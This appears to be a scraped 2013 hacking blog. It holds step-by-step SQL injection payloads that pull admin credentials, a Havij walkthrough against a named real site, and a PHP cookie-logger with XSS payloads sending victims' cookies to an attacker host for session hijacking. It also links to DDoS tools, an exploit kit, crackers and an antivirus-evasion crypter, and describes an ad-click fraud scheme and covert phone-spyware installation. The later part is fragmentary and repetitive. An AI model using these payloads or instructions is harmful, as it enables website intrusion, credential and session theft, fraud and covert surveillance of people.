Let us find the vulnerable column by trying the query "union select columns_sequence".

For eg:
if the number of columns is 7 ,then the query is as follow:

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7-

it will display this

IT says that column 3 and 7 are vunlerable

Let us take the first vulnerable column '3' . We can inject our query in this column

Step 5: Finding version,database,user

Replace the 3 from the query with "version()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Now, It will display the version as 5.0.1 or 4.3. something like this.

Replace the version() with database() and user() for finding the database,user respectively.

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working,then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the Table NameIf the Database version is 5 or above.
If the version is 4.x, then you have to guess the table names (blind sql injection attack).

Let us find the table name of the database. Replace the 3 with "group_concat(table_name)
and add the "from information_schema.tables where table_schema=database()"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables
where table_schema=database()--

Now it will display the list of table names. Find the table name which is related
with the admin or user.

Let us choose the "admin " table.

Step 7: Finding the Column Name
Now replace the "group_concat(table_name) with
the "group_concat(column_name)"

Replace the "from information_schema.tables where table_schema=database()--"
with "FROM information_schema.columns WHERE table_name=mysqlchar--

We have to convert the table name to MySql CHAR() string .

Install the HackBar addon:

https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the add-on, you can see a toolbar that will look like the following
one. If you are not able to see the Hackbar, then press F9.

Select sql->Mysql->MysqlChar() in the Hackbar.

It will ask you to enter string that you want to convert to MySQLCHAR(). We want
to convert the table name to MySQLChar . In our case the table name is 'admin'.

Now you can see the CHAR(numbers separated with commans) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the "mysqlchar"

For eg:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns
where table_name=CHAR(97, 100, 109, 105, 110)--

The above query will display the list of column.

For example: admin,password,admin_id,admin_name,admin_password,active,id
,admin_name,admin_pas s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,
password..etc..

Now replace the replace group_concat(column_name) with group_concat(columnname1,0x3a,anothercolumnname2).

Now replace the " from information_schema.columns where table_name=
CHAR(97, 100, 109, 105, 110)" with the "from table_name"

For eg:

http://www.victimsite.com/index.php?id=-2

and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7
from admin--

If the above query displays the 'column is not found' erro, then try another column name
from the list.

If we got luck, then it will display the data stored in the database depending on your
column name. For instance, username and password column will display the login
credentials stored in the database.

Step 8: Finding the Admin Panel:
Just try with url like:

http://www.victimsite.com/admin.php
http://www.victimsite.com/admin/
http://www.victimsite.com/admin.html
http://www.victimsite.com:2082/

If you got luck ,you will find the admin page using above urls. or you can some
kind of admin finder tools.

Warning:
The above post is completely for educational purpose only. Never attempt to follow
the above steps against third-party websites. If you want to learn SQL injection attack
method , then you can learn in safe environment by setup your own lab

HOpe u like the tutorial join us and like us on facebook

Hacking a website using Havij SQL injection:Full method for beginners

noreply@blogger.com (Vvvvvv) — Sat, 21 Sep 2013 15:03:00 +0000

Hacking a website using Havij SQL injection:Full method for beginners
Now Lets start---->

Things you will need -->

1. Havij SQL injection Tool, download it from here cracked version
2. A sql vunerable site, I am taking this site
http://toyonorte.com.co/catalogo_nuevos_...e.php?id=2 as an example.
Checking for sql vulnerability --->

Here i am taking http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2 as an example.

Now to check is this site vulnerable to sql, I will simply add ' after the site url

like this http://toyonorte.com.co/catalogo_nuevos_detalle.php?id=2'

and i get this error on the site
You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near '\'' at line 1It means that site is vulnerable to sql injection.
Exploiting the vulnerable site --->

1. Open Havij and paste site url in target field and hit enter

2. Now wait for Havij to get all the databases of the website.

3. Now click on available databse of site and click on Get Tables like i am gonna
select535480_toyonorte of my site like in image.

4. By clicking Get Tables Havij will look after the tables available in the database.
5. Now after the scanning Havij will get all tables, now the main work start , you have
to check it there table available named as admin, users and something
similar to these words like i get usuario in my website and select it and click on Get Columns. Like in pic given below.

6. Now after clicking Get Columns havij will get all the columns available in users table.
7. In my case i found diffrent columns like id, login, pass an many more.
8. Now select the columns and click on Get Data like in pic given below.

9. Now havij will look after the data available in columns login and password i.e admin username and passowrd like i get
username --> admin password--> 21232f297a57a5a743894a0e4a801fc3 (in encrypted form)
Like in image below

10. Now after i get
username and password there is a problem that passowrd i s encrypted in
mdm language , so we have to crack it .

11. To crack encrypted password just copy password click on MD5 tab in havij and paste the encrypted password in MD5 hash field and hit start.Now havij will try to crack the password. Like i cracked in image given below.
12. Now i get Password cracked as admin.

13. Now we will check for admin panel where we gonna login with username and passoword.

In my case i found http://toyonorte.com.co/admin/ as admin panel, now open it in a web browser and login with username and password and now you are in admin panel.
Credits Zoombie hacker

Free Download-1000 Hack Tutorials Full Free

noreply@blogger.com (Vvvvvv) — Mon, 16 Sep 2013 17:56:00 +0000

Free Download-1000 Hack Tutorials Full Free

amazing book i m giving it away for free learn everything about hacking,,,,,,,

DOWNLOAD THIS BOOK NOW

Session hijacking or cookie stealing using php and javascript

noreply@blogger.com (Vvvvvv) — Mon, 16 Sep 2013 17:29:00 +0000

Here we show how you can hack a session using javascript and php.

What is a cookie?

A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is
sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back
by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration
time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,
possibly across multiple visits.

What can we do after stealing cookie?

Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.
The victims stolen cookie can be replaced with our cookie to hijack his session.

This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.

PHP Code:<?php
function GetIP(){if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))$ip = getenv("HTTP_CLIENT_IP");else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))$ip = getenv("HTTP_X_FORWARDED_FOR");else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))$ip = getenv("REMOTE_ADDR");else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))$ip = $_SERVER['REMOTE_ADDR'];else$ip = "unknown";return($ip);}
function logData(){$ipLog="log.txt";$cookie = $_SERVER['QUERY_STRING'];$register_globals = (bool) ini_get('register_gobals');if ($register_globals) $ip = getenv('REMOTE_ADDR');else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];$user_agent = $_SERVER['HTTP_USER_AGENT'];$rqst_method = $_SERVER['METHOD'];$rem_host = $_SERVER['REMOTE_HOST'];$referer = $_SERVER['HTTP_REFERER'];$date=date ("l dS of F Y h:i:s A");$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie");elsefputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");fclose($log);}
logData();
?>

Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)

Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies
will be automatically stored here.

Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done
by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites
dont allow javascript so you gotta be lucky to try this.

The best way is to look for user interactive sites which contain comments or forums.

Post the following code which invokes or activates the cookielogger on your host.

Code:

<script language="Java script">document.location="http://www.yourhost.com/cookielogger.php?cookie=" + document.cookie;</script>

Your can also trick the victim into clicking a link that activates javascript.
Below is the code which has to be posted.

Code:

<a href="java script:document.location='http://www.yourhost.com/cookielogger.php? cookie='+document.cookie;">Click here!</a>

Clicking an image also can activate the script.For this purpose you can use the below code.

Code:

<a href="java script:document.location='http://www.yourhost.com/cookielogger.php?cookie='+document.cookie;">

<img src="URL OF THE IMAGE"/></a>

All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver

In the above codes please remove the space in between javascript.

Hijacking the Session:

Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.

Go to the target site
open cookie editor
Replace the cookie with the stolen cookie of the victim and
refresh the page.Thats it!!! you should now be in his account.

Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573

Don't forget to comment if you like my post.

[TUT] Hack Adf.ly to Boost Your Earnings[TUT]

noreply@blogger.com (Vvvvvv) — Mon, 16 Sep 2013 10:56:00 +0000

Today I'm going to tell you a 100% employed technique for increasing your earnings by
adf.ly and other similar PTC sites like adf.ly. I don't know whether you've noticed or not,
now a days tons of adf.ly account are getting banned everyday. Why? because users think
that they are much smarter that adf.ly administrators. My recommendation to
hackersauthority.blogspot.com users is that "please don't waste your time in adf.ly bots etc
NONE OF THEM are working . Because adf.ly has powerful proxy and bot protection. "

I suggest u to create new account before doing this click on the banner to create
Exploit Status :- WORKING
Works for other PTC Sites :- YES
Can be banned for this :- No 100% invisible exploit

REQUIREMENTS :

1. Adf.ly Account
2. Sioniam Account

INSTRUCTIONS :

1. Got to http://sioniam.com/ and register as a new user. After registering in
the sub-sections towards your right of the screen you will find a section called
Frame Breaker Surf

2. Below it you will find Silver Surfer section. Click it.

3. Now in the top you will see a link to download the Silver Surfer Application.
Download and install

4. Now come back to the main page. Open a new tab and login to your adf.ly account

5. Create a link if not created or use your existing links. Copy your selected link

6. Now scroll downwards your sioniam account below you will see a section called
points to click.

7. There you can see a text box and add button.

8. Paste your adf.ly url there and click add.

9. Now Start Silversurfer you installed.

10. Click on the second tab called Details. Now head back to your sioniam account
scroll up. On the top you will see

SilverSurfer URL: http://sioniam.com/silversurf.php?id=xxxx

11. Copy your SilverSurfer URL and paste it into the textbox in the tab and click Submit.

12. Now open the browser tab and you will see your SilverSurfer URL click start and you
will start earning points which will automatically assigned to your adf.ly link in the points
to click section.

I RECOMMEND YOU TO RUN THIS ONLY WHEN YOU USE YOUR COMPUTER.
THIS WILL INCREASE YOU VIEWS UPTO 50 Per link per day

On an average you will get 50 clicks per day (depends upon how much you surf)
So 50x7x30=10920 views which is nearly 3 - 4 Dollars you will earn + your normal adf.ly
earnings.

there's no harm in trying :)

Havij Latest Version 1.18 Free download

noreply@blogger.com (Vvvvvv) — Sun, 15 Sep 2013 12:45:00 +0000

Havij Latest Version 1.18

DOWNLOAD IT NOW

Black Hat Top Hack- Attack Tools For Hackers

noreply@blogger.com (Vvvvvv) — Sun, 15 Sep 2013 07:19:00 +0000

HackinG Tools BY Asad Xeo

Armitage : Graphical Cyber Attack Management Tool

Armitage is a graphical cyber attack management tool for Metasploit that visualizes your targets, recommends exploits, and exposes the advanced capabilities of the framework. Armitage aims to make Metasploit usable for security practitioners who understand

hacking but don’t use Metasploit every day. If you want to learn Metasploit and grow

into the advanced features, Armitage can help yo

Download NOw for Windows : Linux: MacOS X

---------------------------------------------------------

2.Dark-Jumper v5.8 : SQLi, LFi RFi Scanner

Darkjumper is a free tool what will try to find every website that hosts at the same server as your target. Then check for every vulnerability of each website that host at the same time

Download Link http://mac.softpedia.com/get/Security/Darkjumper.shtml

---------------------------------------------------------

3.Dossier detective (information gathering/doxing tool coded by me)

Dossier Detective:

This tool takes advantage of the freely available public information on the internet in an attempt to create a dossier on individuals and companies by using a plethora of techniques. It will do things like use search engines, social networking sites, vehicle databases, telephone systems and much more. Primarily
aimed at private detectives but obviously not restricted to - coded in VC++ and required the .NET
rumtime 3.5 or above to run.

ONLY ONLY FOR EDUCATIONAL PURPOSE

DOWNLOAD NOW

---------------------------------------------------------

4.Lucidity Scanner (check vulnerable computers, webservers, DoS attack etc)
coded by me

This is the BEST tool I've made to date:

Lucidity Scanner

This is a tool for checking and testing computers and web servers which can help build up a blueprint of the system and identify potentially exploitable weaknesses.

DOWNLOAD NOW

---------------------------------------------------------

5.iPentagram - ShellBooter, DorkScanner, Vuln.Scanner, IPTracer, TxtEncrypt [MediaFire]

What is iPentagram?
iPentagram is a project I have been working on for the past few weeks.It includes a large variety
of functions which are mandatory for all computer lovers and enthusiasts.

Features:

// Shell Booter - Powerful and advanced shellbooter which gives the users the ability to add new shells.
// Dork Scanner - Scan websites for dorks with blazing speeds.
// Vulnerability Detector - SQLi vulnerability detector with multiple settings.
// IP Tracer - Trace, log and export IP addresses.
// File Pumper - Increase the size of your executables without corrupting it.
// Text Encryption/Decryption -
Gives the user the ability to encrypt or decrypt submitted text.
// Multi-threaded - iPentagram is fully multi-threaded. Meaning, you can run multiple tools at once without causing the application to freeze or crash.
// User Friendly - iPentagram was designed to be used not only by professionals but also by beginners and is therefore extremely user friendly. With messages and tooltips that even a child could understand, iPentagram is as easy as it gets.
// Automatic Updates - iPentagram will automatically notify the user when a new update is available and will allow the user to get his/her hands on the new update with just the click of a button.

Download Now : Mediafire link\ : password www.hoodedjustice.me

NOTE:
Do not remove/relocate the files associated with iPentagram or it may not work.

---------------------------------------------------------

6.Flutter Packets [DOS]

Download Binray here

Download Source here

---------------------------------------------------------

7.CPanel Nightmare - puplic Version

This is the public version

This version is 3 times slower from private version
Also the ftp brute was disabled in public version
For penetration testing only

Download Link

http://www.mediafire.com/download/gtmo6x...ersion.rar

---------------------------------------------------------

8. 2.BlaZer's Tool Kit - All in One Hacking Tools Pack : Free Download

Features:

★ Inbuilt Web Browser with Java Script and Flash

★ Email Bomber

★ Port Scanner

★ Screen Recorder

★ Pinger

★ Anti-Virus Finder

★ File-Downloader and much more.....

Download Now
http://www.mediafire.com/?9qa37of7ihd1z

---------------------------------------------------------

9.Aph3x Stresser V2! Just Him Em Up!

Changes

Fixed some bugs.

Made it more stable.

Works faster.

Should work with any ddos shell out there with no problems.

Added unlimited attack time ( 99999999999?

yea,even more)

Download Link: here

---------------------------------------------------------

10.SQL Injection TOOLs All IN One Complete Pack

SQL Injection TOOLs All IN One

->Black Out v1.0
->ExploitSQL_v2_0
->Google_URLs_Extractor
->Havij1.08
->Havij1.13 Pro edition
->Hybrid_V02_
->Hybrid_v.1.0
->jsky
->Lib
->Longcat
->obeseusvB
->Palector v1
->pangolin
->QuadNX_v.Qx2
->Sabre Flood
->SQL_Injection_Tool_v1
->SQLIHelper_V2.5
->SQLSmarthack
->tequiLAN_0.1_5
->WITOOL_V0.1_081231
->xdos

Download Now

---------------------------------------------------------

11.On Cracking Rampage OCR 1.14 Tool

Download

Cracking Rampage OCR

---------------------------------------------------------

12.Here is a decent little cracker. It requires a proxy list but gets good results. Enjoy

DOWNLOAD NOW

---------------------------------------------------------

13.SMTP SCANNER

   The powerful tool to your email marketing service. Use SMTP SCANER, you can find out
many workable SMTP servers in few hours or days. It is can check the SMTP server
(Relay SMTP Server and Anonymous SMTP Server). It can use hundreds of threads/connections
to search
Click here To download

      ---------------------------------------------------------

14. Exploit Scanner

Here a Exploit Scanner very easy to use.
Have fun and hack as many you could :dance:

  Click here to download

    ---------------------------------------------------------

15.WordPress Site Bruce Force

Click here to download
    ---------------------------------------------------------
16.Ez File Pumper
   A pumper makes a file bigger. (the size of the file) So if you have a virus, and its 2kb, nobody will download it because its definitely not anything real, so if you make the
file to say 2mb people wont think twice about it. So lets just say you made a virus,
but the size is way to small and people will not download it because of the size.
So what do you need... The Ez File Pumper!!!!

  Click Here To DOwnload

---------------------------------------------------------

17.Source DecFlooder v1.00
Features:
Flooder:

DDos
Email Bomber
Chat Spammer

Download Now
---------------------------------------------------------

18.BLACK HOLE EXPLOIT KIT

BlackHoleexploit kit is A type of crimeware Web application developed in Russia to
help hackers take advantage of unpatched exploits in order to hack computers via
malicious scripts planted on compromised websites.

Download it NOw
---------------------------------------------------------

19.GetSploits - search exploit-db.com database by command line

getsploits searches for specific exploits/shellcode/papers (using several search
options to narrow down the results) from exploit-db.com and prints descriptions
and links to found exploits/shellcode/papers and optionally writes links and
descriptions of found results to a file.

Download it now
---------------------------------------------------------

20.Nmap - The most advanced scanner

If you haven't tried nmap yet, you really should cause it's imho the best

You can get it off http://insecure.org/ , and of course it both works on

windows and linux, thus you can get the source of it too if you want to.

Download Now
---------------------------------------------------------

21.Backtrack

The Most Commonly used Tool For hacking recomended by hackers give it a try

Download Backtrack Now

---------------------------------------------------------

22. Kali Linux

Kali is a complete re-build of BackTrack Linux, adhering completely to Debian development standards. All-new infrastructure has been put in place, all tools were reviewed and packaged, and we use Git for our VCS.
More than 300 penetration testing tools: After reviewing every tool that was included in BackTrack, we eliminated a great number of tools that either did not work or had other
tools available that provided similar functionality.

Download Now

---------------------------------------------------------

23.Netsparker PentestTool

This is a tool for Web Penetratition more friendly "Vurnerable
Scanner"
Friendly interface that makes you comfort to use

Net sparker Community Version [free version]

Click Here To Download
---------------------------------------------------------

24. Horny Monkey Deface Builder v1
Horny Monkey Deface Builder is for create your defacement in HTML.

Edited! Image links http://prntscr.com/x7pi4

Download Now
---------------------------------------------------------

25. AIRCRACK
Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks

Click Here To Download

---------------------------------------------------------

26. BarsWF

BarsWF is the worlds fastest md5 bruteforcing password cracker,
just in case you didn't already know It combines using your
computers processor with you graphics cards GPU for computing
the largest amount of hashes as quickly as possible.

Click here to download

---------------------------------------------------------

27.BLOODSHED IDE

Bloodshed IDE is an Integrated Development Environment (IDE) for the C/C++ programming language.

Download Now
---------------------------------------------------------

28. NEMESIS
Nemesis is a packet injector utility that is command line based and supports linux and windows
Download Now

---------------------------------------------------------

29. HPING
Hping is a command-line TCP/IP assembler that supports TCP, ICMP, UDP and RAW-IP protocols also works on Unix systems, Windows, Sun and MacOS's.
download link

---------------------------------------------------------

30. Metasploit:A hackers Real Friend

Metasploit Framework, a tool for developing and executing
exploit code against a remote target machine. Other important
sub-projects include the Opcode Database, shellcode archive,
and security research.

The Metasploit Project is also well known for anti-forensic and
evasions tools, some of which are built into the Metasploit
Framework.
DOWNload Now

---------------------------------------------------------

31. LOIC/Hoic DDOS ATTACK TOOLs

These are very strong ddos attack tools

Download LOIC

DOWNLOAD HOIC

IF U HAVE ANY GOOD TOOL TO SHARE THEN COMMENT I'LL add it too

---------------------------------------------------------

HOPE U LIKE MY TOols Comments will be appreciated :) :)
join our site and like us on facebook

---------------------------------------------------------

Hacking And Security E-books

noreply@blogger.com (Vvvvvv) — Sun, 08 Sep 2013 03:55:00 +0000

Hacking And Security E-books

Buffer Overflow (How to rOOt On Server Part -II)

Free Download : Gmail Hacking E-Book

Free Download : The Application Hacker's Handbook

Free Download Ghost in the Wires by Kevin Mitnick

Free Download PHP5 and MySQL Bile & Php6 MySQL Bible

Free Download XSS Attacks : Cross Site Scripting Exploits & Defence

How to r00t on server : E-book by Black -X Genius

Social Engineering: The Art of Hacking Human Mind

The Secret of Hacking : Free Download E-Book

noreply@blogger.com (Vvvvvv) — Sun, 08 Sep 2013 03:54:00 +0000

The Secret of Hacking : Free Download E-Book Happy Hacking

Steps :-

download this ebook from below
Now open the .rar file and click on certificate.pfx
Then it will ask for password
Enter the password :- mh2005
Now open the hacking e-book provided1. INTRODUCTION TO REAL HACKING
Topics
1. INTRODUCTION TO REAL HACKING
2. ADVANCED MALWARE RESEARCH
3. WINDOWS HACKING
4. PASSWORD HACKING
5. EMAIL HACKING
6. WEB APPLICATION HACKING
7. WEBSITE DEFACEMENT AND DOMAIN HACKING
8. MISCELLANEOUS HACKING
9. MOBILE AND COMPUTER FORENSIC
10. VOIP AND WIRELESS HACKING
11. VULNERABILITY DISCOVERY AND PENETRATION TESTING
12. ADVANCE HACKING WITH METASPLOIT
13. FIREWALL, IDS AND HONEY POT HACKING.
14. SECURING SYSTEM
File Information :-

Name :- THE SECRET OF HACKING
Size :- 1.70 Mb
Download :- Click Here To download e-book on hacking
Download From Mediafire : http://adf.ly/VKiv1
Enjoy The world of Devils and Don't forget to comment..

Social Engineering: The Art of Hacking Human Mind

noreply@blogger.com (Vvvvvv) — Sun, 08 Sep 2013 03:51:00 +0000

Social Engineering: The Art of Hacking Human Mind
Social Engineering: The Art of Hacking Human Mind

Written by : Christopher Hadnagy

The first book to reveal and dissect the technical aspect of many social engineering maneuvers

From elicitation, pretexting, influence and manipulation, all aspects of social engineering are picked apart, discussed and explained by using real world examples, personal experience and the science behind them to unraveled the mystery in social engineering.

Kevin Mitnick, one of the most famous social engineers in the world, popularized the term "social engineering". He explained that it is much easier to trick someone into revealing a password for a system than to exert the effort of hacking into the system. Mitnick claims that this social engineering tactic was the single-most effective method in his arsenal. This indispensable book examines a variety of maneuvers that are aimed at deceiving unsuspecting victims, while it also addresses ways to prevent social engineering threats.

Examines social engineering, the science of influencing a target to perform a desired task or divulge information.
Arms you with invaluable information about the many methods of trickery that hackers use in order to gather information with the intent of executing identity theft, fraud, or gaining computer system access.
Reveals vital steps for preventing social engineering threats.

Download

How to r00t on server : E-book by Black -X Genius

noreply@blogger.com (Vvvvvv) — Sun, 08 Sep 2013 03:49:00 +0000

How to r00t on server : E-book by Black -X Genius

hi Guys ... I'm Got many maggesges in my inbox about server r00t.I think too many pepole are intrested in Server r00t so today I'm Presneting My Tunsian Friend Black-X Genius's Ebook On server r00ting. Hope You will Enjoy The book

This small book is will explain
you how professional hackers got root on servers.
this book is for beginner.

Leassons Of Book

Lesson 1- What is Root ?
Lesson 2- How can I get on the Root ?
Lesson 3- Local root and how to search for
him ?
Lesson 4- How connect the server ?
Lesson 5- How to get Root access ?
Lesson 6- What happen after the root ?
Lesson 7- The withdrawal of my domain ?
Lesson 8- How to do mass deface ?
Lesson 9- How to register the hacked
websites on Zoneh?
Lesson 10- How to clear tracks from serve ?

CLICK HERE TO DOWNLOAD

Free Download XSS Attacks : Cross Site Scripting Exploits & Defence

noreply@blogger.com (Vvvvvv) — Sun, 08 Sep 2013 03:46:00 +0000

Free Download XSS Attacks : Cross Site Scripting Exploits & Defence
XSS Attacks : Cross Site Scripting Exploits & Defence

Xss Attacks is a Great Book on Cross site Scripting, Hope you'll like it !

Cross-site Scripting Fundamentals.

The XSS Discovery Toolkit

XSS Theory

XSS Attack Methods

Advanced XSS Attack Vectors

XSS Exploited

Exploit Frameworks

XSS Worms

Preventing XSS Attacks

DOWNLOAD NOW

HackErS..AuthORity

HOW TO CRACK WINRAR FILE PASSWORD

Method 1

Instructions

Method 2

Instructions

FUD CRYPTER MANUALLY BYPASS ANTI-VIRUS

Step 1:

Step 2:

Now open notepad copy this code in it & save it with name .bat.

Step 3:

Download Rcat latest version. Copy rcat.exe in the same directory where this notepad named .bat exists.

Step 4:

Now we Use WinRAR to combine or BIND there two files (rcat.exe + Notpad).Click on ADD to archive

Step 5:

On the Next window that appear check Create SFX Archive. Go to Advance TAB & click SFX Options. Check out Options as i do

Step 6:

Step 7:

Step 8:

On the next Window NO Restart and the Don’t SAVE in the last and Create Package. Congrats our Package has been created and it has the ability to Bypass most of the Antivirus here is the Report of our created Package.

HOW TO MONITOR MOBILE PHONE REMOTELY – COMPLETE GUIDE

How To Monitor Mobile Phone:

What Is a Cellphone Spyware:

Why Mspy:

Download Link :

Can I Monitor Multiple Cellphones:

How To Install Mspy on Victim’s Phone:

Step 1:

Step 2:

Step 3:

Step 4:

Step 5:

Step 6:

TOP 14 TOOLS THAT ETHICAL HACKER MUST HAVE !!!

Tools that ethical HACKER must have :

1 – Nmap:

2 – Wireshark:

3 – Cain & Able:

4 – MetaSploit:

5 – Ettercap:

6 – Nessus:

7 – Havij:

8 – Kismet:

9 – BackTrack Linux:

10 – W3af:

11 – Encase:

12 – Helix:

13 – Acunetix:

14 – Burp Suite:

The Penetration Test Process

Tinymce PHP file Manager, Remote File upload vulnrablity

How to change the administrator password without knowing the current one?

How to change the administrator password without knowing the current one?

METHOD 1.

1. GO TO CONTROL PANEL2. CLICK ON " ANDMINISTRATIVE TOOLS"3. NOW CLICK ON " COMPUTER MANAGEMENT "

OR

siMPLY RIGHT click on my computer and click on manage

4. NOW GO TO SYSTEM TOOLS5. DOUBLE CLICK ON LACAL USERS AND GROUPS6. THEN FINALLY UNDER USERS U WILL SEE ALL THE USER ACCOUNTS INCLUDING ADMIN ACCOUNT.7. NOW RIGHT CLICK ON ADMINISTRATOR AND CLICK SET PASSWO

8. IT Wont ask YOu for the previous password

THATS IT we aRE DONE .... ENJOY

METHOD 2.

1 . Press R by holding windows button

or

or simply open run

2. AFTER OPENNING TYPE THIS

"lusrmgr.msc"

2. Click right and double Click on user and u will see all users present in that pc .!!

4.Now right click on the account on which you want to change the password .when you click on set password then it will permission click on proceed and u r done

How to Hack Databases: Cracking SQL Server Passwords & Owning the Server

Step 1: Start Metasploit

Step 2: Set Your Options

Step 3: Brute Force the Database Passwords

Step 4: Grab the xp__cmdshell

Step 5: Wreak Havoc!

Step 6: Grab the Hash

How to Crack User Passwords in a Linux System

Where Linux Passwords Are Stored

Step 1: Create Some User Accounts

Step 2: Open John the Ripper

Step 3: Test John the Ripper

On the next Window NO Restart and the Don’t SAVE in the last and Create Package.

Congrats our Package has been created and it has the ability to Bypass most of the Antivirus here is the Report of our created Package.

1. GO TO CONTROL PANEL

2. CLICK ON " ANDMINISTRATIVE TOOLS"

3. NOW CLICK ON " COMPUTER MANAGEMENT "

4. NOW GO TO SYSTEM TOOLS

5. DOUBLE CLICK ON LACAL USERS AND GROUPS

6. THEN FINALLY UNDER USERS U WILL SEE ALL THE USER ACCOUNTS INCLUDING ADMIN ACCOUNT.

7. NOW RIGHT CLICK ON ADMINISTRATOR AND CLICK SET PASSWO